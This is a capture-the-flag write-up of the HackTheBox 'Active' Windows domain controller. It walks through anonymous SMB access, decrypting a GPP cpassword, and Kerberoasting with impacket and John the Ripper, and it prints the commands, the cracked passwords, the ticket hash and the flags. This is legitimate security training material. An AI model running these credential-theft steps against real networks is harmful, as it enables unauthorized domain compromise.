HackTheBox | Active Write-up

October 13, 2018

Author: Jane Wilde (wilde)

Severity Level	**Critical**
Access level	**Method**
User	Anonymous SMB share login File enumeration, exposed Groups.xml GPP cpassword XML file
Root	Kerberoast Ticket Granting Server Decrypting Administrator Ticket hash

Recap

The Active box is a Windows Domain Controller machine running Microsoft Windows 2008 R2 SP1. It was a fun machine to get into, since I am less familiar with Windows enumeration and privilege escalation. I found it is a pretty good box to get your hands dirty on, even if you are just getting started. I managed to get through it with one hint: **Kerberoasting**. It is a very realistic exploit that still lives in many Windows servers today. Kerberos is an authentication system used in Windows and Active Directory networks. An exploit exists that allows us to obtain poorly encrypted hashes of users on a domain controller. This exploit can only be used once you have one authenticated user. So when you already have some kind of access to a server, this exploit can be used to obtain credentials of more privileged users on the domain controller. I'll walk you through how I managed

to get both the user and root flags on this machine :)

Service Enumeration

The first thing I usually do is running an `nmap -sC -sV -oA FILE_NAME HOST_NAME` scan. This provides me a list with the open ports and services running on our target machine. So without further ado, let's start our enumeration process!

```
# Nmap 7.70 scan initiated Fri Oct 12 13:47:07 2018 as: nmap -sC -sV -oA
active 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (3.2s latency).
Not shown: 982 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows
Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-
10-12 17:47:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=DC.active.htb
| Not valid before: 2018-07-17T18:51:18
|_Not valid after:  2019-01-16T18:51:18
|_ssl-date: 2018-10-12T17:48:14+00:00; 0s from scanner time.
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
```

```
Service Info: Host: DC; OS: Windows; CPE:
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2018-10-12 13:48:15
|_  start_date: 2018-10-12 11:42:58

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Fri Oct 12 13:50:14 2018 -- 1 IP address (1 host up) scanned in
187.36 seconds
```

Reviewing the open ports 88 and 389, we can assume this is a Domain Controller. This machine also runs `Windows Server 2008 R2 SP1`. The domain name of this machine is `active.htb` *(line 12)*. I edited my `/etc/hosts` file to map the IP address to that of the machine's domain.

```
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.100    active.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

With the kerberos service exposed, we can run a scan to enumerate through possible user accounts on this server. We already know the machine's domain. Accompanying a large text file with common usernames, we can find (with the following kerberos enumeration script):

```
nmap -p 88 --script=krb5-enum-users.nse --script-args krb5-enum-
users.realm='active.htb',userdb=/usr/share/seclists/Usernames/Names/names.txt
active.htb
```

```
Nmap scan report for active.htb
Host is up (0.0042s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|     ADMINISTRATOR@active.htb
|     administrator@active.htb
|_    Administrator@active.htb
```

Alas, we did not find any other users than the default administrator user. Let's run a thorough nmap scan for all ports to see if we missed any:

```
nmap -p 1-65535 -sV -sS -T4 active.htb
```

```
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-13 04:53 EDT
Nmap scan report for 10.10.10.100
Host is up (0.032s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows
Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-
10-13 08:54:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
```

```
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49182/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE:
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.62 seconds
```

We find an http service at port 47001: `47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)`. Other than that, nothing of more interest.

Port `445` is open, which is a common port for SMB shares. We can enumerate SMB shares with `smbmap -H active.htb`

```
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445    Name: active.htb
    Disk                                                    Permissions
    ----                                                    -----------
    ADMIN$                                                  NO ACCESS
    C$                                                      NO ACCESS
    IPC$                                                    NO ACCESS
    NETLOGON                                                NO ACCESS
    Replication                                             READ ONLY
    SYSVOL                                                  NO ACCESS
    Users                                                   NO ACCESS
```

The `Replication` share has `READ ONLY` permissions. So let's try and login anonymously using: `smbclient //active.htb/Replication`, providing no password.

```
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
```

We're in!

Let's enumerate this folder to see if we can find anything that could help us further. After browsing each directory, I found a Groups.xml file containing a username and `cpassword` value!

```
smb: \> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
```

```
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

        10459647 blocks of size 4096. 4916811 blocks available
csmb: \> cd active.htb\
smb: \active.htb\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  DfsrPrivate                       DHS        0  Sat Jul 21 06:37:44 2018
  Policies                            D        0  Sat Jul 21 06:37:44 2018
  scripts                             D        0  Wed Jul 18 14:48:57 2018

        10459647 blocks of size 4096. 4916811 blocks available
smb: \active.htb\> cd Policies\
smb: \active.htb\Policies\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  {31B2F340-016D-11D2-945F-00C04FB984F9}      D        0  Sat Jul 21 06:37:44
2018
  {6AC1786C-016F-11D2-945F-00C04fB984F9}      D        0  Sat Jul 21 06:37:44
2018

        10459647 blocks of size 4096. 4916811 blocks available
smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9}\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  GPT.INI                             A       23  Wed Jul 18 16:46:06 2018
  Group Policy                        D        0  Sat Jul 21 06:37:44 2018
  MACHINE                             D        0  Sat Jul 21 06:37:44 2018
  USER                                D        0  Wed Jul 18 14:49:12 2018

        10459647 blocks of size 4096. 4916811 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd Group
Policy\
cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group\:
NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd MACHINE\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Microsoft                           D        0  Sat Jul 21 06:37:44 2018
  Preferences                         D        0  Sat Jul 21 06:37:44 2018
  Registry.pol                        A     2788  Wed Jul 18 14:53:45 2018

        10459647 blocks of size 4096. 4916811 blocks available
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\> cd
Preferences\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups                              D        0  Sat Jul 21 06:37:44 2018

        10459647 blocks of size 4096. 4916811 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\> cd Groups\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

        10459647 blocks of size 4096. 4916811 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml
(3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec)
```

The contents of the Groups.xml file tell us the name of a user: `SVC_TGS`, and the coressponding `cpassword`:
`edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ`

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
  name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06"
  uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U" newName="" fullName="" description=""

 cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCu
NH8pG5aSVYdYw/NglVmQ"
    changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
    userName="active.htb\SVC_TGS" />
  </User>
</Groups>
```

We can decrypt the cpassword value with gpp-decrypt. To read more about cpassword, I suggest reading this blogpost.

```
root@kali:~/hackthebox/active# gpp-decrypt
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdY
w/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is
deprecated
GPPstillStandingStrong2k18
```

> Milestone: The password of the `SVC_TGS` user is `GPPstillStandingStrong2k18`

Penetration

Obtaining the User flag

We still have a few shares to test. Let's try the `ADMIN$` share with the credentials we obtained from our previous step:

```
root@kali:~/hackthebox/active# smbclient -W active.htb -U SVC_TGS
//10.10.10.100/ADMIN$
Enter ACTIVE.HTB\SVC_TGS's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
```

No luck. Maybe the `USERS` share?

```
root@kali:~/hackthebox/active# smbclient -W active.htb -U SVC_TGS
//10.10.10.100/USERS GPPstillStandingStrong2k18
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   DR        0  Sat Jul 21 10:39:20 2018
  ..                                  DR        0  Sat Jul 21 10:39:20 2018
  Administrator                        D        0  Mon Jul 16 06:14:21 2018
  All Users                         DHS        0  Tue Jul 14 01:06:44 2009
  Default                           DHR        0  Tue Jul 14 02:38:21 2009
  Default User                      DHS        0  Tue Jul 14 01:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
  Public                             DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018

        10459647 blocks of size 4096. 4891808 blocks available
```

We got in! We can get our flag by navigating to the `Desktop` directory of our `SVC_TGS` user.

```
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                            A       34  Sat Jul 21 11:06:25 2018

        10459647 blocks of size 4096. 4881198 blocks available
```

> Milestone: `user.txt flag = 86d67d8ba232bb6a254aa4d10159e983`

Privilege escalation

So far, getting into this machine was pretty straightforward. We found an exposed SMB service and enumerated its shares. We were able to anonymously login to one share and find a Group Preference Policy XML file to obtain a user's credentials. Now, let's try and escalate our privileges to obtain the `Administrator` user password!

Now that we have the credentials of a generic user on this machine, we can use a technique called **Kerberoasting**.

> Kerberoasting takes advantage of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs).

Let's give this a shot:

Obtain a list of SPN values for user accounts

We can use **impacket** to obtain the SPN values on this Domain Controller. First, make sure to `git clone https://github.com/SecureAuthCorp/impacket`. Install impacket by running `python setup.py install`. We can then run the `examples/GetUserSPNs.py` to obtain a SPN values and hashes of the exposed user accounts:

```
./GetUserSPNs.py -request -dc-ip 10.10.10.100 ACTIVE.HTB/SVC_TGS
```

The `-request` flag will request TGS *(Ticket Granting Server)* tickets for users and output them to our terminal.

```
Impacket v0.9.18-dev - Copyright 2018 SecureAuth Corporation

Password:
ServicePrincipalName  Name           MemberOf
                  PasswordLastSet      LastLogon
--------------------  -------------  ----------------------------------------
--------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40  2018-07-30 13:17:40



$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$323ee379be95d259c3e649a
b59c62672$c9b511f18e334dbfe9b662cb58220608efceb6fecdddfbb1f2c1720af04786453660
67f7e9787785bd27fecaea1e429315b4f3376708119be5d78d0829d0cad37ed7d215fc5a800c5f
39bcff2dcb42aa17bb88b80a0efa0f83277914e2a8409f93c44d3753102feb5339766c13c977d0
d2cd33ab1617bc9d37290605046869b6debacab5965325c53e0ea798624ec31c7497632d3a8ec9
7f30cff599f4e5f9956032e1371e575caee4c08fc76a42ac4a2ca08a18fcf34ca8829425222b4d
c4335250929c9d9eb54826977be93cd5ee4e56aadf4aa9273c3fb155531342c33de32c37ecd0b1
1cc9159cab18a675bb2759290e9cc2684aa54e482f43d5cdfbeaa856f6c2857bc54c0b30e24aee
9c3a287e309c09ee42d8a9738cb170944102f3c5f35019061f6538caa1b8bd5856f33ea17fa3c4
f65742b2685540b8f4aa61418e6e7753f2a5ecb1eae1015483c0017b8335bbaebe6c19eef492d9
62f8af0de0524823f38dc9d6df5b64bfd6a9ac98f9903b059afd9f54cef636948624e6bafcc189
3392ad760e5ab33b68711f8480d570af077c72f94d6b84b1c812f28fcf8318b3ecad7966d521e3
c8fa55f52cb5936eb853cedbb5db4954ec13be70dfc9349acf401493b6b5e772377d3e6360cfda
e4bb16f79f857cd8052f93ab7e5d9ec03133b48b26364a20281645beb756be2e68b4c23d70bf6d
2c9a7ce251e2c403e7b0efaf519c120402b23bf796ee5877a936dd4cfba9e123a206aad5002b30
5db39ad27cc5d4f30576c6e4f07dac2c2f9f9ec92fc3b56de8a06d87dbcafc434ec822079c7377
a7d76c6a45cb0d29a7cff9c84f9cac8c7c340ec200421b2d046f63770175204ea041d7157c1ae0
5918f4ff5b065feaf54d55bc00348f55210a738b094edaccdab37c4dbde8c57eb1fe11c7567e26
a18317864577604bbcddbb8918db707461dbb58a813fb4e9bb4a81e0df5d990d2fb8a2dad87cca
3ca281088390d3ed5e673835ee3fae27f704298b8d16611c87e99f453862080d93fd6f5924cc2f
ea6d499aa0f173894f068783c90e73826d561cbaa5fb9ea3bed30655322f191dbd9c5f0388fb64
d234bd162d3a9be30a72b6e23bbc4c4724438712fb08951099c1018e8d5222a5aba114227d884f
5c73dfbf84004697aa02a56698064cd377fa4ffbae317b317c696f1787a95f02039dc7e3db5d49
eeb2b7b79f2d60a6459ce7af6eb5737f47aa06490018da44aed1d4979e681f5dddf424807c
```

We managed to extract the Administrator user ticket! Since `impacket` already formats this into a John The Ripper compatible format, we can pass it on directly.

> **Important note:** Make sure to use the **magnumripper** version of John The Ripper. This is a community-enhanced, "jumbo" version of the original. You won't find it in the default Kali Linux install (if that is what you are using). So make sure to clone and compile https://github.com/magnumripper/JohnTheRipper.

Now, we can pass on our retrieved ticket to JTR and decrypt it to obtain a password:

```
root@kali:~/tools/JohnTheRipper/run# ./john --format=krb5tgs --
wordlist=/usr/share/wordlists/rockyou.txt
~/hackthebox/active/root/administrator_spn.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:09 DONE (2018-10-13 08:00) 0.1090g/s 1149Kp/s 1149Kc/s 1149KC/s
Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

> Milestone: We obtained the Administrator password: `Ticketmaster1968`

Obtaining the root flag

Now, we can login to the SMB server with our newly obtained Administrator credentials. Remember our shares? Let's try:

```
ADMIN$                                                  NO ACCESS
```

I managed to log in, but when enumerating this share, I only found a lot of meaningless files. So let's try:

```
C$                                                      NO ACCESS
```

```
root@kali:~/tools/impacket/examples# smbclient //10.10.10.100/C$ -W active.htb
-U Administrator
Enter ACTIVE.HTB\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                        DHS        0  Mon Jul 13 22:34:39 2009
  Config.Msi                          DHS        0  Mon Jul 30 10:10:06 2018
  Documents and Settings              DHS        0  Tue Jul 14 01:06:44 2009
  pagefile.sys                        AHS 4294500352  Sat Oct 13 07:10:09 2018
  PerfLogs                              D        0  Mon Jul 13 23:20:08 2009
  Program Files                        DR        0  Wed Jul 18 14:44:51 2018
  Program Files (x86)                  DR        0  Wed Jul 18 14:44:52 2018
  ProgramData                          DH        0  Mon Jul 30 09:49:31 2018
  Recovery                            DHS        0  Mon Jul 16 06:13:22 2018
  System Volume Information           DHS        0  Wed Jul 18 14:45:01 2018
  Users                                DR        0  Sat Jul 21 10:39:20 2018
  Windows                               D        0  Mon Jul 30 09:42:18 2018
```

```
                10459647 blocks of size 4096. 4924375 blocks available
smb: \> cd Users\Administrator\Desktop\
smb: \Users\Administrator\Desktop\> dir
  .                                   DR        0  Mon Jul 30 09:50:10 2018
  ..                                  DR        0  Mon Jul 30 09:50:10 2018
  desktop.ini                        AHS      282  Mon Jul 30 09:50:10 2018
  root.txt                            A       34  Sat Jul 21 11:06:07 2018

                10459647 blocks of size 4096. 4924375 blocks available
```

That looks more promising :) We obtained the root flag:

> Milestone: root.txt flag = b5fc76d1d6b91d77b2fbf2d54d0f708b